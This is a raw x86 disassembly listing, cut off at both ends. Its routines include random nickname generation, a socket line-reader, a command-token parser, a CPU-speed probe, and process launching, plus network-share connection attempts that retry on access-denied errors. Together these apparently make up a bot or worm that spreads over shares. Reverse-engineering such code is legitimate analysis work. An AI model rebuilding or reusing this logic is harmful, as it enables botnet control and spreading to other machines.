		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B63F


loc_41B695:				; CODE XREF: ___:0041B63Bj
					; ___:0041B641j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B69D:				; CODE XREF: ___:0041B66Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B6A4:				; CODE XREF: ___:0041B65Aj
					; ___:0041B65Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B74A
		mov	edi, ebp


loc_41B6FF:				; CODE XREF: sub_41B6E0+68j
		cmp	edi, ebx
		jz	short loc_41B74A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B74A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		test	eax, eax
		jz	short loc_41B759
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B72A
		cmp	al, bl
		jnz	short loc_41B73D


loc_41B72A:				; CODE XREF: sub_41B6E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B737
		mov	[esi+ebp-1], bl
		jmp	short loc_41B739
; ---------------------------------------------------------------------------


loc_41B737:				; CODE XREF: sub_41B6E0+4Fj
		mov	[edi], bl


loc_41B739:				; CODE XREF: sub_41B6E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B73D:				; CODE XREF: sub_41B6E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B6FF


loc_41B74A:				; CODE XREF: sub_41B6E0+1Bj
					; sub_41B6E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B759:				; CODE XREF: sub_41B6E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B6E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B780:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B7DB


loc_41B7A6:				; CODE XREF: ___:0041B7D9j
		push	3
		push	1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B7C7
		dec	eax
		jz	short loc_41B7C1
		dec	eax
		jnz	short loc_41B7D6
		push	7Ah
		push	61h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C1:				; CODE XREF: ___:0041B7B6j
		push	5Ah
		push	41h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C7:				; CODE XREF: ___:0041B7B3j
		push	39h
		push	30h


loc_41B7CB:				; CODE XREF: ___:0041B7BFj
					; ___:0041B7C5j
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B7D6:				; CODE XREF: ___:0041B7B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B7A6


loc_41B7DB:				; CODE XREF: ___:0041B7A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B800	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B820	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B82F:				; CODE XREF: sub_41B820+43j
					; sub_41B820+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436970
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436970
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B82F
		jb	short loc_41B86F
		cmp	esi, 0F4240h
		ja	short loc_41B82F


loc_41B86F:				; CODE XREF: sub_41B820+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_4368F0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B8F9
		jb	short loc_41B88F
		cmp	ecx, 50h
		jnb	short loc_41B898


loc_41B88F:				; CODE XREF: sub_41B820+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B898:				; CODE XREF: sub_41B820+6Dj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8A3
		cmp	ecx, 47h
		jnb	short loc_41B8AC


loc_41B8A3:				; CODE XREF: sub_41B820+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B8AC:				; CODE XREF: sub_41B820+81j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8B7
		cmp	ecx, 37h
		jnb	short loc_41B8C0


loc_41B8B7:				; CODE XREF: sub_41B820+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B8C0:				; CODE XREF: sub_41B820+95j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8CB
		cmp	ecx, 26h
		jnb	short loc_41B8D4


loc_41B8CB:				; CODE XREF: sub_41B820+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B8D4:				; CODE XREF: sub_41B820+A9j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8DF
		cmp	ecx, 1Eh
		jnb	short loc_41B8E8


loc_41B8DF:				; CODE XREF: sub_41B820+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B8E8:				; CODE XREF: sub_41B820+BDj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8F3
		cmp	ecx, 0Ah
		jnb	short loc_41B8F9


loc_41B8F3:				; CODE XREF: sub_41B820+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B8F9:				; CODE XREF: sub_41B820+66j
					; sub_41B820+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B950	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41B950
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447769
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BAAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		call	near ptr 27F113Bh
		nop
		test	eax, eax
		jnz	short loc_41B9E6
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41B9E6:				; CODE XREF: sub_41B950+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41B9EF:				; CODE XREF: sub_41B950+A9j
		cmp	ecx, eax
		jnz	short loc_41B9F5
		mov	bl, 1


loc_41B9F5:				; CODE XREF: sub_41B950+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41B9EF
		mov	eax, 61h


loc_41BA00:				; CODE XREF: sub_41B950+BAj
		cmp	ecx, eax
		jnz	short loc_41BA06
		mov	bl, 1


loc_41BA06:				; CODE XREF: sub_41B950+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BA00
		test	bl, bl
		jnz	short loc_41BA32
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BA32:				; CODE XREF: sub_41B950+BEj
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BAAF:				; CODE XREF: sub_41B950+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		call	near ptr 27D07CDh
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BB4E


loc_41BAF8:				; CODE XREF: sub_41B950+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BAF8


loc_41BB4E:				; CODE XREF: sub_41B950+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41B950	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC20:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BC2F
		cmp	al, 9
		jz	short loc_41BC2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BC2F:				; CODE XREF: ___:0041BC26j
					; ___:0041BC2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E8C
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BC74
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: ___:0041BC65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BC90	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BEEE
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_41BCAA:				; CODE XREF: sub_41BC90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		test	cl, cl
		jz	short loc_41BCCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BCAA


loc_41BCCE:				; CODE XREF: sub_41BC90+26j
		xor	eax, eax
		jmp	short loc_41BCD7
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC90+22j
					; sub_41BC90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BCD7:				; CODE XREF: sub_41BC90+40j
		test	eax, eax
		jz	loc_41BEEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_443DD4
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BEEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BD17:				; CODE XREF: sub_41BC90+A4j
		push	offset dword_443DD4
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BEEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BD17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443EA8
		mov	eax, ebp


loc_41BD41:				; CODE XREF: sub_41BC90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		test	dl, dl
		jz	short loc_41BD65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD41


loc_41BD65:				; CODE XREF: sub_41BC90+BDj
		xor	eax, eax
		jmp	short loc_41BD6E
; ---------------------------------------------------------------------------


loc_41BD69:				; CODE XREF: sub_41BC90+B9j
					; sub_41BC90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD6E:				; CODE XREF: sub_41BC90+D7j
		test	eax, eax
		jnz	short loc_41BD7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BD7C:				; CODE XREF: sub_41BC90+E0j
		mov	esi, offset dword_443EA4
		mov	eax, ebp


loc_41BD83:				; CODE XREF: sub_41BC90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		test	dl, dl
		jz	short loc_41BDA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD83


loc_41BDA7:				; CODE XREF: sub_41BC90+FFj
		xor	eax, eax
		jmp	short loc_41BDB0
; ---------------------------------------------------------------------------


loc_41BDAB:				; CODE XREF: sub_41BC90+FBj
					; sub_41BC90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDB0:				; CODE XREF: sub_41BC90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BDFA
		mov	esi, offset dword_443EA0
		mov	edx, edi


loc_41BDBF:				; CODE XREF: sub_41BC90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BDE7
		test	bl, bl
		jz	short loc_41BDE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BDE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BDBF


loc_41BDE3:				; CODE XREF: sub_41BC90+13Bj
		xor	edx, edx
		jmp	short loc_41BDEC
; ---------------------------------------------------------------------------


loc_41BDE7:				; CODE XREF: sub_41BC90+137j
					; sub_41BC90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BDEC:				; CODE XREF: sub_41BC90+155j
		test	edx, edx
		jnz	short loc_41BDFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BDFA:				; CODE XREF: sub_41BC90+126j
					; sub_41BC90+15Ej
		mov	esi, offset dword_443E9C
		mov	edx, ebp


loc_41BE01:				; CODE XREF: sub_41BC90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE29
		test	bl, bl
		jz	short loc_41BE25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE01


loc_41BE25:				; CODE XREF: sub_41BC90+17Dj
		xor	edx, edx
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE29:				; CODE XREF: sub_41BC90+179j
					; sub_41BC90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE2E:				; CODE XREF: sub_41BC90+197j
		test	edx, edx
		jnz	short loc_41BE74
		mov	esi, offset dword_443E98
		mov	edx, edi


loc_41BE39:				; CODE XREF: sub_41BC90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE61
		test	bl, bl
		jz	short loc_41BE5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE39


loc_41BE5D:				; CODE XREF: sub_41BC90+1B5j
		xor	edx, edx
		jmp	short loc_41BE66
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BC90+1B1j
					; sub_41BC90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE66:				; CODE XREF: sub_41BC90+1CFj
		test	edx, edx
		jnz	short loc_41BE74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE74:				; CODE XREF: sub_41BC90+1A0j
					; sub_41BC90+1D8j
		mov	esi, offset dword_443E94
		mov	ecx, ebp


loc_41BE7B:				; CODE XREF: sub_41BC90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		test	dl, dl
		jz	short loc_41BE9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE7B


loc_41BE9F:				; CODE XREF: sub_41BC90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BEA8
; ---------------------------------------------------------------------------


loc_41BEA3:				; CODE XREF: sub_41BC90+1F3j
					; sub_41BC90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BEA8:				; CODE XREF: sub_41BC90+211j
		test	ecx, ecx
		jnz	short loc_41BEEE
		mov	esi, offset dword_443E90
		mov	eax, edi


loc_41BEB3:				; CODE XREF: sub_41BC90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		test	cl, cl
		jz	short loc_41BED7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BEB3


loc_41BED7:				; CODE XREF: sub_41BC90+22Fj
		xor	eax, eax
		jmp	short loc_41BEE0
; ---------------------------------------------------------------------------


loc_41BEDB:				; CODE XREF: sub_41BC90+22Bj
					; sub_41BC90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEE0:				; CODE XREF: sub_41BC90+249j
		test	eax, eax
		jnz	short loc_41BEEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEEE:				; CODE XREF: sub_41BC90+Dj
					; sub_41BC90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BC90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BFA0	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41BFF9
		mov	bl, 1


loc_41BFF9:				; CODE XREF: sub_41BFA0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C008:				; CODE XREF: sub_41BFA0+18j
					; sub_41BFA0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41BFA0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C030	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		cmp	eax, 20h
		setnl	al
		retn
sub_41C030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27E0617h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: ___:00401875j
		sub	esp, 354h
		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 2790000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB8C
		push	offset dword_50BB8C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_436FA8
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C1C8
		cmp	eax, 4C3h
		jnz	short loc_41C1D1


loc_41C1C8:				; CODE XREF: ___:0041C1BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_436FA8
; ---------------------------------------------------------------------------


loc_41C1D1:				; CODE XREF: ___:0041C1C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C1E8
		cmp	eax, 4C3h
		jz	short loc_41C1E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C1E8:				; CODE XREF: ___:0041C1D6j
					; ___:0041C1DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C250:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	near ptr 2790000h
		nop
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C338
		mov	esi, dword_50F8D0


loc_41C31C:				; CODE XREF: ___:0041C336j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
